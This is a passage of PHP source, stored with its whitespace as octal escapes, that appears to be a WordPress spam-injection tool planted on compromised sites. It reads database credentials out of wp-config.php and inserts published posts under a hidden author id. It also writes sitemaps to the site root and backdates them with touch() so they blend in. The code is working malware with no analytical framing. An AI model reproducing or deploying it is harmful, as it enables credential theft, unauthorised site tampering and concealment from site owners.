hes[1]);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$postId\040=\040$idMatches[1];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$post\040=\040get_post($postId);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$url\040=\040WritePostsWpHandler::getPermalinkCustom($post);\012\012\040\040\040\040\040\040\040\040\040\040\040\040//$permLinks[]\040=\040array(WritePostsWpHandler::getPermalinkCustom($post),\040$anchor);\012\012\040\040\040\040\040\040\040\040\040\040\040\040//GlobalLogs::setMainLog($url);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$lastmod\040=\040date('Y-m-d');\012\012\040\040\040\040\040\040\040\040\040\040\040\040$changefreqArr\040=\040array('monthly',\040'weekly',\040'daily',\040'hourly',\040'always');\012\012\040\040\040\040\040\040\040\040\040\040\040\040$priority\040=\040'0.'\040.\040rand(5,\0409);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$sitemapSource\040.=\040WritePostsWpHandler::urlBlockSec($url,\040$lastmod,\040$changefreqArr[rand(0,\040count($changefreqArr)\040-\0401)]\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040,\040$priority);\012\012\040\040\040\040\040\040\040\040\040\040\040\040wp_cache_delete($idMatches[1],\040'posts');\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$sitemapSource\040.=\040"\134n</urlset>";\012\012\012\012\040\040\040\040\040\040\040\040if\040(file_put_contents($sitemapPath,\040$sitemapSource))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040touch($sitemapPath,\040WritePostsWpHandler::frequenttimestamp(WP_ROOT_DIR));\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(WritePostsWpHandler::currenturl($sitemapPath,\040HOME_URL));\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040sitemapAction()\040{\012\040\040\040\040\040\040\040\040if\040(!WritePostsWpHandler::checkSitemapNameRoot())\040return\040false;\012\012\040\040\040\040\040\040\040\040$head\040=\040WritePostsWpHandler::sitemapHeadSec();\012\040\040\040\040\040\040\040\040$sitemapSource\040=\040$head\040.\040"\134n";\012\040\040\040\040\040\040\040\040$sitemapPath\040=\040WP_ROOT_DIR\040.\040'/'\040.\040SITEMAP_NAME\040.\040'.xml';\012\012\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$urls\040=\040CustomDbHandler::getInstance()\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040->allPostsFromDb(HOME_URL,\040CUSTOM_AUTHOR_ID);\012\012\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040Exception('invalid\040fetch\040urls\040for\040sitemap');\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040if\040(empty($urls))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('no\040posts\040by\040author\040id');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040foreach\040($urls\040as\040$urlWithTitle)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040list\040($url,\040$title)\040=\040explode(';',\040$urlWithTitle,\0402);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$lastmod\040=\040date('Y-m-d');\012\040\040\040\040\040\040\040\040\040\040\040\040$changefreqArr\040=\040array('monthly',\040'weekly',\040'daily',\040'hourly',\040'always');\012\040\040\040\040\040\040\040\040\040\040\040\040$priority\040=\040'0.'\040.\040rand(5,\0409);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$sitemapSource\040.=\040WritePostsWpHandler::urlBlockSec($url,\040$lastmod,\040$changefreqArr[rand(0,\040count($changefreqArr)\040-\0401)]\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040,\040$priority);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$sitemapSource\040.=\040"\134n</urlset>";\012\012\040\040\040\040\040\040\040\040if\040(file_put_contents($sitemapPath,\040$sitemapSource))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(WritePostsWpHandler::currenturl($sitemapPath));\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\012}\012\012\012\012register_shutdown_function(array('WritePostsWpHandler',\040'deleteMutex'));\012\012\012\012\012\012class\040CustomDbHandler\012\012{\012\012\012\012\040\040\040\040const\040DB_TYPE_SQLITE\040=\040'sqlite';\012\012\040\040\040\040const\040DB_TYPE_MYSQL\040=\040'mysql';\012\012\040\040\040\040/**\012\012\040\040\040\040\040*\040@var\040CustomDbHandler\012\012\040\040\040\040\040*/\012\012\040\040\040\040private\040static\040$instance;\012\012\040\040\040\040public\040$dbName;\012\012\040\040\040\040public\040$dbPrefix;\012\012\040\040\040\040public\040$dbUser;\012\012\040\040\040\040public\040$dbPassword;\012\012\040\040\040\040public\040$dbHostAddr;\012\012\040\040\040\040public\040$dbPort;\012\012\040\040\040\040public\040$dbType;\012\012\040\040\040\040private\040$dsn;\012\012\012\012\040\040\040\040public\040function\040__construct($db,\040$config\040=\040false)\040{\012\012\040\040\040\040\040\040\040\040$this->dsn\040=\040$db;\012\012\040\040\040\040\040\040\040\040$this->setDBSettings($config);\012\012\040\040\040\040\040\040\040\040$this->dbType\040=\040(!$config)\040?\040self::DB_TYPE_SQLITE\040:\040self::DB_TYPE_MYSQL;\012\012\040\040\040\040\040\040\040\040static::$instance\040=\040$this;\012\012\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040setDBSettings($config)\040{\012\012\012\012\040\040\040\040\040\040\040\040/**\040sqlite\040**/\012\012\040\040\040\040\040\040\040\040if\040(!$config)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$this->dbName\040=\040'main';\012\012\040\040\040\040\040\040\040\040\040\040\040\040$this->dbPrefix\040=\040'wp_';\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$this->dbName\040=\040$config['dbname'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$this->dbUser\040=\040$config['dbuser'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$this->dbPassword\040=\040$config['dbpassword'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$this->dbHostAddr\040=\040$config['dbhostaddr'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$this->dbPrefix\040=\040$config['dbprefix'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$this->dbPort\040=\040$config['dbport'];\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return;\012\012\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040getInstance()\040{\012\012\040\040\040\040\040\040\040\040if\040(static::$instance)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040static::$instance;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return\040null;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040getOptionLike($optionName)\040{\012\012\012\012\040\040\040\040\040\040\040\040$tableWithPrefix\040=\040$this->dbPrefix\040.\040'options';\012\012\040\040\040\040\040\040\040\040$query\040=\040"SELECT\040*\040from\040$tableWithPrefix\040where\040option_name\040LIKE\040:option_name\040";\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->prepare($query);\012\012\012\012\012\012\040\040\040\040\040\040\040\040$stmt->execute(array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040':option_name'\040=>\040'%'\040.\040$optionName\040.\040'%'\012\012\040\040\040\040\040\040\040\040));\012\012\012\012\040\040\040\040\040\040\040\040$options\040=\040array();\012\012\040\040\040\040\040\040\040\040while\040($row\040=\040$stmt->fetch(PDO::FETCH_ASSOC))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($row)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$options[]\040=\040$row;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040$options;\012\012\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040homeUrl()\040{\012\012\012\012\040\040\040\040\040\040\040\040//'home'\040or\040'siteurl'\012\012\040\040\040\040\040\040\040\040$homeOption\040=\040$this->getOption('home');\012\012\012\012\040\040\040\040\040\040\040\040if\040(strstr($homeOption['option_value'],\040'http')\040!==\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$homeOption['option_value'];\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$siteUrlOption\040=\040$this->getOption('siteurl');\012\012\040\040\040\040\040\040\040\040if\040(strstr($siteUrlOption['option_value'],\040'http')\040!==\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$siteUrlOption['option_value'];\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040getOption($optionName)\040{\012\012\012\012\040\040\040\040\040\040\040\040$tableWithPrefix\040=\040$this->dbPrefix\040.\040'options';\012\012\040\040\040\040\040\040\040\040$query\040=\040"SELECT\040*\040from\040$tableWithPrefix\040where\040option_name\040=\040:option_name\040";\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->prepare($query);\012\012\012\012\012\012\040\040\040\040\040\040\040\040$stmt->execute(array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040':option_name'\040=>\040$optionName\012\012\040\040\040\040\040\040\040\040));\012\012\012\012\040\040\040\040\040\040\040\040return\040$stmt->fetch();\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040allPostsFromDb($homeUrl,\040$userId\040=\0409999)\040{\012\012\012\012\040\040\040\040\040\040\040\040//SELECT\040ID,\040post_title\040FROM\040`wp_posts`\040where\040post_author\040=\0409999\012\012\040\040\040\040\040\040\040\040$table\040=\040sprintf('`%s`.`%sposts`',\040$this->dbName,\040$this->dbPrefix);\012\012\040\040\040\040\040\040\040\040$query\040=\040"SELECT\040ID,\040post_title\040FROM\040$table\040where\040post_author\040=\040:user_id";\012\012\012\012\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->prepare($query);\012\012\012\012\040\040\040\040\040\040\040\040$stmt->execute(array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040':user_id'\040=>\040$userId\012\012\040\040\040\040\040\040\040\040));\012\012\012\012\040\040\040\040\040\040\040\040$urls\040=\040array();\012\012\040\040\040\040\040\040\040\040while\040($row\040=\040$stmt->fetch(PDO::FETCH_ASSOC))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($row)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$urls[]\040=\040$homeUrl\040.\040'/?p='\040.\040$row['ID']\040.\040';'\040.\040$row['post_title'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return\040$urls;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040allPostsFromDbWithPostName($homeUrl,\040$userId\040=\0409999)\040{\012\012\012\012\040\040\040\040\040\040\040\040//SELECT\040ID,\040post_title\040FROM\040`wp_posts`\040where\040post_author\040=\0409999\012\012\040\040\040\040\040\040\040\040$table\040=\040sprintf('`%s`.`%sposts`',\040$this->dbName,\040$this->dbPrefix);\012\012\040\040\040\040\040\040\040\040$query\040=\040"SELECT\040ID,\040post_title,\040post_name\040FROM\040$table\040where\040post_author\040=\040:user_id";\012\012\012\012\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->prepare($query);\012\012\012\012\040\040\040\040\040\040\040\040$stmt->execute(array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040':user_id'\040=>\040$userId\012\012\040\040\040\040\040\040\040\040));\012\012\012\012\040\040\040\040\040\040\040\040$urls\040=\040array();\012\012\040\040\040\040\040\040\040\040while\040($row\040=\040$stmt->fetch(PDO::FETCH_ASSOC))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($row)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//$urls[]\040=\040$homeUrl\040.\040'/?p='\040.\040$row['ID']\040.\040';'\040.\040$row['post_title']\040.\040';'\040.\040$row['post_name'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$urls[]\040=\040array($homeUrl\040.\040'/?p='\040.\040$row['ID'],\040$row['post_title'],\040$row['post_name']);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return\040$urls;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040lastPostDateQuery()\040{\012\012\040\040\040\040\040\040\040\040//SELECT\040ID,\040post_date\040FROM\040`wp_posts`\040order\040by\040ID\040DESC\040LIMIT\0401\012\012\040\040\040\040\040\040\040\040$table\040=\040sprintf('`%s`.`%sposts`',\040$this->dbName,\040$this->dbPrefix);\012\012\040\040\040\040\040\040\040\040$query\040=\040"SELECT\040ID,\040post_date\040FROM\040$table\040order\040by\040ID\040DESC\040LIMIT\0401";\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->query($query);\012\012\012\012\040\040\040\040\040\040\040\040if\040($stmt)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$lastDateFetch\040=\040$stmt->fetch();\012\012\040\040\040\040\040\040\040\040\040\040\040\040$date\040=\040$lastDateFetch['post_date'];\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$date\040=\040date('Y-m-d\040H:i:s');\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return\040$date;\012\012\012\012\040\040\040\040}\012\012\012\012\012\012\040\040\040\040public\040function\040insertPost($title,\040$content,\040$date,\040$userId\040=\040'',\040$customSlug\040=\040'')\040{\012\012\012\012\040\040\040\040\040\040\040\040$date\040=\040($date\040===\040'')\040?\040WritePostsWpHandler::randDate()\040:\040$date;\012\012\040\040\040\040\040\040\040\040$userId\040=\040!$userId\040?\0401\040:\040$userId;\012\012\040\040\040\040\040\040\040\040$table\040=\040sprintf('`%s`.`%sposts`',\040$this->dbName,\040$this->dbPrefix);\012\012\012\012\040\040\040\040\040\040\040\040$query\040=\040"INSERT\040INTO\040$table\040(\040`post_author`,\040`post_date`,"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"\040`post_date_gmt`,\040`post_content`,\040`post_title`,\040`post_excerpt`,"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"\040`post_status`,\040`comment_status`,\040`ping_status`,\040`post_password`,"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"\040`post_name`,\040`to_ping`,\040`pinged`,\040`post_modified`,"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"\040`post_modified_gmt`,\040`post_content_filtered`,\040`post_parent`,"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"\040`guid`,\040`menu_order`,\040`post_type`,\040`post_mime_type`,"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"\040`comment_count`)\040VALUES\040(:user_id,\040:date,\040:date,\040:content,"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"\040:title,\040'',\040'publish',\040'closed',\040'closed',\040'',\040:slug,\040'',\040'',"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"\040'0000-00-00\04000:00:00.000000',\040'0000-00-00\04000:00:00.000000',\040'',"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"\040'0',\040'',\040'0',\040'post',\040'',\040'0');";\012\012\012\012\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->prepare($query);\012\012\012\012\040\040\040\040\040\040\040\040$stmt->execute(array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040':user_id'\040=>\040$userId,\012\012\040\040\040\040\040\040\040\040\040\040\040\040':date'\040=>\040$date,\012\012\040\040\040\040\040\040\040\040\040\040\040\040':content'\040=>\040$content,\012\012\040\040\040\040\040\040\040\040\040\040\040\040':title'\040=>\040$title,\012\012\040\040\040\040\040\040\040\040\040\040\040\040':slug'\040=>\040urlencode($customSlug),\012\012\040\040\040\040\040\040\040\040));\012\012\012\012\012\012\040\040\040\040\040\040\040\040return\040$this->dsn->lastInsertId();\012\012\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040viewAllAuthors()\040{\012\012\040\040\040\040\040\040\040\040$table\040=\040sprintf('`%s`.`%sposts`',\040$this->dbName,\040$this->dbPrefix);\012\012\040\040\040\040\040\040\040\040$query\040=\040"SELECT\040DISTINCT\040post_author\040FROM\040$table";\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->query($query);\012\012\012\012\012\012\040\040\040\040\040\040\040\040while\040($row\040=\040$stmt->fetch(PDO::FETCH_LAZY))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($row['post_author'])\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040$row['post_author']\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040insertOrUpdate($optionName,\040$optionValue)\040{\012\012\040\040\040\040\040\040\040\040if\040($this->getOption($optionName))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040//echo\040sprintf('%s\040option\040exists,\040update',\040$optionName)\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$this->updateWpOptions($optionName,\040$optionValue);\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040//echo\040sprintf('%s\040option\040no\040exists,\040insert',\040$optionName)\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$this->insertWpOptions($optionName,\040$optionValue);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040updateWpOptions($optionName,\040$optionValue)\040{\012\012\012\012\012\012\040\040\040\040\040\040\040\040$table\040=\040sprintf('`%s`.`%soptions`',\040$this->dbName,\040$this->dbPrefix);\012\012\040\040\040\040\040\040\040\040$query\040=\040"UPDATE\040$table\040set\040option_value\040=\040:option_value\040where\040option_name\040=\040:option_name";\012\012\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->prepare($query);\012\012\012\012\040\040\040\040\040\040\040\040return\040$stmt->execute(array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040':option_value'\040=>\040$optionValue,\012\012\040\040\040\040\040\040\040\040\040\040\040\040':option_name'\040=>\040$optionName,\012\012\040\040\040\040\040\040\040\040));\012\012\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040insertWpOptions($optionName,\040$optionValue)\040{\012\012\012\012\040\040\040\040\040\040\040\040$table\040=\040sprintf('`%s`.`%soptions`',\040$this->dbName,\040$this->dbPrefix);\012\012\040\040\040\040\040\040\040\040$query\040=\040"INSERT\040INTO\040$table\040(\040option_name,\040option_value,\040autoload)"\012\012\040\040\040\040\040\040\040\040\040\040\040\040.\040"VALUES\040(:option_name,\040:option_value,\040'yes')";\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->prepare($query);\012\012\040\040\040\040\040\040\040\040$stmt->execute(array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040':option_name'\040=>\040$optionName,\012\012\040\040\040\040\040\040\040\040\040\040\040\040':option_value'\040=>\040$optionValue,\012\012\040\040\040\040\040\040\040\040));\012\012\012\012\040\040\040\040\040\040\040\040return\040$this->dsn->lastInsertId();\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040deleteOption($optionName)\040{\012\012\040\040\040\040\040\040\040\040$table\040=\040sprintf('`%s`.`%soptions`',\040$this->dbName,\040$this->dbPrefix);\012\012\040\040\040\040\040\040\040\040$query\040=\040"delete\040FROM\040$table\040where\040option_name\040=\040:option_name";\012\012\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->prepare($query);\012\012\012\012\040\040\040\040\040\040\040\040return\040$stmt->execute(array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040':option_name'\040=>\040$optionName,\012\012\040\040\040\040\040\040\040\040));\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040deletePosts($authors)\040{\012\012\040\040\040\040\040\040\040\040$authorsCommaSeparated\040=\040implode(',\040',\040$authors);\012\012\012\012\040\040\040\040\040\040\040\040$table\040=\040sprintf('`%s`.`%sposts`',\040$this->dbName,\040$this->dbPrefix);\012\012\040\040\040\040\040\040\040\040$column\040=\040sprintf('`%sposts`.`post_author`',\040$this->dbPrefix);\012\012\040\040\040\040\040\040\040\040$query\040=\040"delete\040FROM\040$table\040where\040$column\040IN\040($authorsCommaSeparated)";\012\012\040\040\040\040\040\040\040\040$stmt\040=\040$this->dsn->prepare($query);\012\012\040\040\040\040\040\040\040\040$stmt->execute();\012\012\012\012\040\040\040\040\040\040\040\040return\040$stmt->rowCount();\012\012\040\040\040\040}\012\012\012\012}\012\012\012\012final\040class\040GlobalLogs\012\012{\012\012\040\040\040\040private\040static\040$logs;\012\012\012\012\040\040\040\040private\040function\040__construct()\040{\012\012\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040setMainLog($message)\040{\012\012\040\040\040\040\040\040\040\040static::$logs['main'][]\040=\040$message;\012\012\040\040\040\040\040\040\040\040static::$logs['debug'][]\040=\040$message;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040setDebugLog($message)\040{\012\012\040\040\040\040\040\040\040\040static::$logs['debug'][]\040=\040$message;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040getMainLogs()\040{\012\012\040\040\040\040\040\040\040\040if\040(isset(static::$logs['main']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040implode("\134n",\040static::$logs['main']);\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return\040null;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040getDebugLogs()\040{\012\012\040\040\040\040\040\040\040\040if\040(isset(static::$logs['debug']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040implode("\134n",\040static::$logs['debug']);\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return\040null;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040function\040__wakeup()\040{\012\012\012\012\040\040\040\040}\012\012\012\012\040\040\040\040private\040function\040__clone()\040{\012\012\012\012\040\040\040\040}\012\012\012\012}\012\012\012\012class\040WritePostsWpHandler\012\012{\012\040\040\040\040public\040static\040function\040tryConnect()\012\040\040\040\040{\012\040\040\040\040\040\040\040\040$configSource\040=\040file_get_contents(WP_ROOT_DIR\040.\040'/wp-config.php');\012\012\040\040\040\040\040\040\040\040$configArr\040=\040WritePostsWpHandler::parseWpConfig($configSource);\012\012\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$customDbLink\040=\040self::customDbLink($configSource);\012\040\040\040\040\040\040\040\040\040\040\040\040$dbConfig\040=\040self::detectSqliteInstance($configSource)\040?\040false\040:\040$configArr;\012\040\040\040\040\040\040\040\040\040\040\040\040$customDbHandler\040=\040new\040CustomDbHandler($customDbLink,\040$dbConfig);\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$customDbHandler;\012\012\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!$dbConfig)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$errorPdoConnection\040=\0401;\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog('Could\040not\040connect\040to\040db\040'\040.\040$ex->getMessage());\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(isset($errorPdoConnection))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog('alternative\040connect');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(WP_ROOT_DIR\040.\040'/wp-config.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040$definedConstants\040=\040get_defined_constants(true);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!$definedConstants['user'])\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog('Could\040not\040connect\040to\040db\040alternative\040method');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$dbname\040=\040$definedConstants['user']['DB_NAME'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$dbuser\040=\040$definedConstants['user']['DB_USER'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$dbpassword\040=\040$definedConstants['user']['DB_PASSWORD'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$dbhostaddr\040=\040$definedConstants['user']['DB_HOST'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040/**\040@var\040$table_prefix\040global\040wp\040var\040*/\012\012\040\040\040\040\040\040\040\040\040\040\040\040$dbprefix\040=\040$table_prefix;\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(stristr($dbhostaddr,\040':')\040!==\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040list($hostAddr,\040$dbPort)\040=\040explode(':',\040$dbhostaddr);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$dbPort\040=\0403306;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$hostAddr\040=\040$dbhostaddr;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$dbh\040=\040sprintf('mysql:host=%s;dbname=%s;port=%s',\040$hostAddr,\040$dbname,\040$dbPort);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$customDbLink\040=\040new\040PDO($dbh,\040$dbuser,\040$dbpassword\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040,\040array(PDO::MYSQL_ATTR_INIT_COMMAND\040=>\040'SET\040sql_mode="ALLOW_INVALID_DATES",\040NAMES\040utf8'));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$customDbHandler\040=\040new\040CustomDbHandler($customDbLink,\040$dbConfig);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040$customDbHandler;\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog('Could\040not\040connect\040to\040db\040'\040.\040$ex->getMessage());\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040parseWpConfig($configSource)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\134'\134"],\134s*[\134'\134"](.+)[\134'\134"]\134s*\134);~m",\040$configSource,\040$dbhost);\012\012\040\040\040\040\040\040\040\040preg_match("~table_prefix\134s+=\134s*[\134'\134"](.+)[\134'\134"];~",\040$configSource,\040$prefix);\012\012\012\040\040\040\040\040\040\040\040if\040(stristr($dbhost[2][3],\040':')\040!==\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040list($hostAddr,\040$dbPort)\040=\040explode(':',\040$dbhost[2][3]);\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$hostAddr\040=\040$dbhost[2][3];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$dbPort\040=\0403306;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040'dbname'\040=>\040$dbhost[2][0],\012\012\040\040\040\040\040\040\040\040\040\040\040\040'dbuser'\040=>\040$dbhost[2][1],\012\012\040\040\040\040\040\040\040\040\040\040\040\040'dbpassword'\040=>\040$dbhost[2][2],\012\012\040\040\040\040\040\040\040\040\040\040\040\040'dbhostaddr'\040=>\040$hostAddr,\012